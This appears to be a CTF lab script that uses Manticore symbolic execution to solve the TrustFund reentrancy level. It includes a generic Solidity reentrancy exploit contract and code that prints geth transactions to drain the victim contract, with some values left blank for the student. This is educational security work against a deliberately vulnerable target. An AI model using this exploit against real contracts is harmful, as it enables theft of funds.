'''
In this level we'll use a generic reentrancy exploit contract, add symbolic data to it, and use it to exploit the TrustFund CTF level
This exploit script will output a transaction that creates this exploit contract, set parameters, and execute the exploit
To ensure that the transactions have the right addresses, you'll have to recreate the current nonces of addresses that you're interacting with
Previous scripts have simply replaced the addresses in transactions that were incorrectly generated by manticore due to it not having the correct nonces
    but this exploit is more complicated, so we could find them programmatically by setting the nonces of the contracts
    you could also manually sort through the exploit output that this script prints out and change the addresses yourself
      in this case, just leave the nonces as '1'
To find the required nonces, you'll have to use etherscan and geth
You'll need to find your wallet's current nonce, as this nonce will be used to generate the address of the exploit contract
You'll need to know the address of the contract that creates the TrustFund contract
This contract is meant to facilitate the creation of victim contracts for you while you're working through the SI CTF
To find this contract address, you can goto your current TrustFund contract and find the contract that created it
For me it was: '0x2f5551674a7c8cb6dfb117a7f2016c849054ff80', creating my TrustFund contract at: '0x6E0236b5eC9bF7Be41881C0eE6cF8C25E5d78DD4'
    in transaction '0x495b21c99754884def84f098d12050021d59241c960a3c028bac80791d0bf46d' (all of which you can lookup on the ropsten chain)
To find the current nonce of this contract, enter it's address into the 'getTransactionCount' function from geth, which for me looked like:
    > eth.getTransactionCount('0x2f5551674a7c8cb6dfb117a7f2016c849054ff80')
    47
Because my TrustFund contract has already been created, I subtracted from this value to get the value of the nonce at the time my contract was created.
This contract may be shared with other CTF players, but if you pick a nonce that was used in the past to create your current TrustFund contract,
    other players' actions shouldn't be able to interfere with your solution
There is a section towards the end of the code lab to help you find the correct nonce/addresses for this level
One note while running this exploit, you'll have to authorize the created contract with your CTF level. To do this, use MyEtherWallet with the address generated by this script
    This should work at any time before the call to 'proxycall'
'''

from manticore.ethereum import ABI, ManticoreEVM
import binascii
import sys
import sha3

m = ManticoreEVM()
m.verbosity(0)
#The contract account to analyze
from_address = int(sys.argv[1], 16) if len(sys.argv)>1 else "<your address here>"
si_level_address = int(sys.argv[2], 16) if len(sys.argv)>2 else "<SI ctf level address>"
contract_creator_address = int(sys.argv[3], 16) if len(sys.argv)>3 else "<contract creator address>"
sol_file = sys.argv[4] if len(sys.argv)>4 else "/home/auditor/SI_ctf_levels/TrustFund.sol"
gas = 4000000

# read in the victim contract source
with open(sol_file, "r") as f:
  contract_source_code = f.read()

# Here is the generic reentrancy exploit
# It has some comments built in as well
exploit_source_code = '''
pragma solidity ^0.4.15;

contract GenericReentranceExploit {
    int reentry_reps; 
    address vulnerable_contract;
    address owner;
    bytes reentry_attack_string;

    function GenericReentranceExploit(){
        owner = msg.sender;
    }

    // these set_* functions are used to point this exploit contract at its
    // victim and setup the necessary values to exploit it correctly
    // in this level, we'll make some of these values symbolic and let manticore
    // discover them for us
    function set_vulnerable_contract(address _vulnerable_contract){
        vulnerable_contract = _vulnerable_contract ;
    }

    function set_reentry_attack_string(bytes _reentry_attack_string){
        reentry_attack_string = _reentry_attack_string;
    }

    function set_reentry_reps(int256 reps){
        reentry_reps = reps;
    }

    function proxycall(bytes data) payable{
        // Begin re-entrancy exploit
        vulnerable_contract.call.value(msg.value)(data);
    }

    function get_money(){
        // Used to retrieve the ether after exploitation
        // Manticore currently will kill a state if a contract is destroyed
        // so, instead we are just sending the balance
        owner.send(this.balance);
    }

    function () payable{
        // reentry_reps is used to execute the attack a number of times
        // otherwise there is a loop between the vulnerable contract function and the fallback function
        if (reentry_reps > 0){
            reentry_reps = reentry_reps - 1;
            vulnerable_contract.call(reentry_attack_string);
        }
    }
}
'''
# Manticore currently only allows for incrementing a nonce
#   So, I created this helper function to make your code look better :)
def set_nonce(world,address,nonce):
    while world.get_nonce(address)<nonce:
        world.increase_nonce(address)

#Initialize wallets and contracts
contract_balance = ??? # set to the value of the CTF contract
attacker_balance = ??? # we don't need any for this exploit

creator_account = m.create_account(address=contract_creator_address,balance=contract_balance)
attacker_account = m.create_account(address=from_address,balance=attacker_balance)
# The 'getTransactionCount' for geth currently counts contract creation as a transaction for the created contract
# A contract nonce starts at '1' (EIP 161) so this works out well for us (we don't need to change it)
# The nonce for the attacker account is your current wallet's nonce, we'll use this to get the right address for
#   the created generic exploit
# For the attacker account (us) we want the nonce to be up to date (we will create the contract in the future)
set_nonce(m.get_world(),attacker_account.address,???) # get this from geth's getTransactionCount function
# If you use the current nonce of the CTF creator contract in this file, you'll have to re-create the ctf level
#   You could also find the current nonce and count back to find it's value when this contract was created
# Finding the nonce for this creator address can be difficult, another way to complete this level is to manually
#   change the address after an exploit has been generated. In this case, you can just leave this nonce as '1'
set_nonce(m.get_world(),creator_account.address,???) # get this from geth's getTransactionCount function
# create our victim contract
contract_account = m.solidity_create_contract(contract_source_code,
    contract_name="TrustFund",
    owner=creator_account,
    address=si_level_address, # this will cause the program to fail if you've entered the wrong nonce
    args=(0,0),
    balance=contract_balance)

print("calculated victim contract address: "+hex(contract_account.address))

exploit_account = m.solidity_create_contract(exploit_source_code, owner=attacker_account)
print("calculated exploit contract address: "+hex(exploit_account.address))

print("Setting up the generic exploit contract")
exploit_account.set_vulnerable_contract(contract_account)
# it's fine to use a concrete value here, I'm not sure if manticore will be able to solve the level otherwise
exploit_account.set_reentry_reps(???) # set the number of times we reenter the vulnerable function (including first call)

print("Setting symbolic attack string")
reentry_string = m.make_symbolic_buffer(???) # should find the signature hash for 'withdraw()'
exploit_account.set_reentry_attack_string(reentry_string)

# run the exploit symbolically
print("Running reentrancy transaction")
exploit_account.proxycall(reentry_string)

print("Return ether to our wallet")
exploit_account.get_money() 

print("Check states where we have all the ether")
# for states that are still running (haven't reverted due to our transaction contraint) let's iterate through them and see if any allow for an exploit
for state in m.running_states:
    world = state.platform
    # similar to the last problem, we're looking for states where our attacker wallet has all of the ether
    if state.can_be_true(world.get_balance(attacker_account.address) == contract_balance+attacker_balance):
      state.constraints.add(world.get_balance(attacker_account.address) == contract_balance+attacker_balance)
      print("Found a winning state, print all transactions")
      # because of the number of transactions, it's easier to iterate through all of them and 
      #     print out the ones we sent, rather than trying to reconstruct them
      for transaction in world.transactions:
        # Solve this transaction
        data = state.solve_one(transaction.data)
        caller = state.solve_one(transaction.caller)
        address = state.solve_one(transaction.address)
        value = state.solve_one(transaction.value)
        gas = state.solve_one(transaction.gas)
        # Only print the ones that are sent from our attacker account (not internal or victim transactions)
        if caller==attacker_account.address:
            geth_str = "eth.sendTransaction({"
            geth_str += "data:\"0x"+binascii.hexlify(data).decode('utf-8')+"\","
            geth_str += "from:\""+"{0:#0{1}x}".format(caller,42)+"\","
            # If it's a contract creation transaction, don't add the 'to' field
            if transaction.sort != 'CREATE':
                geth_str += "to:\""+"{0:#0{1}x}".format(address,42)+"\","
            geth_str += "value:\""+hex(value)+"\","
            geth_str += "gas:\""+hex(gas)+"\"})"
            print(geth_str)
      sys.exit(0) # we only needed one state!

print("Couldn't find a winning state")
